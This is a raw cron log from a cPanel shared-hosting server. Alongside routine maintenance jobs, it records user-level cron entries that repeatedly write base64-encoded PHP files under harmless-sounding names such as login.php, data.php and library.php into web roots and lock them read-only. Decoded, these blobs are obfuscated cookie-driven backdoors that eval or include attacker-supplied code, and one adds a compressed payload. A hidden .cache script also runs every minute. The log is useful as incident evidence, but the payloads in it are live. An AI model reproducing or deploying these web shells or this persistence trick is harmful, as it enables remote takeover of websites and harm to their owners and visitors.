Mar  2 13:35:01 medusa CROND[14235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:35:01 medusa CROND[14238]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14239]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:35:01 medusa CROND[14241]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:35:01 medusa CROND[14243]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:35:01 medusa CROND[14244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14246]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:35:01 medusa CROND[14250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:35:01 medusa CROND[14247]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:35:01 medusa CROND[14237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:35:01 medusa CROND[14236]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14262]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14233]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 13:36:01 medusa CROND[627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:36:02 medusa CROND[697]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:36:02 medusa CROND[897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:36:02 medusa CROND[985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:36:02 medusa CROND[986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:36:02 medusa CROND[989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:36:02 medusa CROND[990]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:36:02 medusa CROND[991]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:36:02 medusa CROND[992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:36:02 medusa CROND[993]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:36:02 medusa CROND[995]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:36:02 medusa CROND[1004]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:36:02 medusa CROND[1017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:36:02 medusa CROND[1057]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:37:01 medusa CROND[19493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:37:02 medusa CROND[19834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:37:02 medusa CROND[19835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:37:02 medusa CROND[19837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:37:02 medusa CROND[19836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
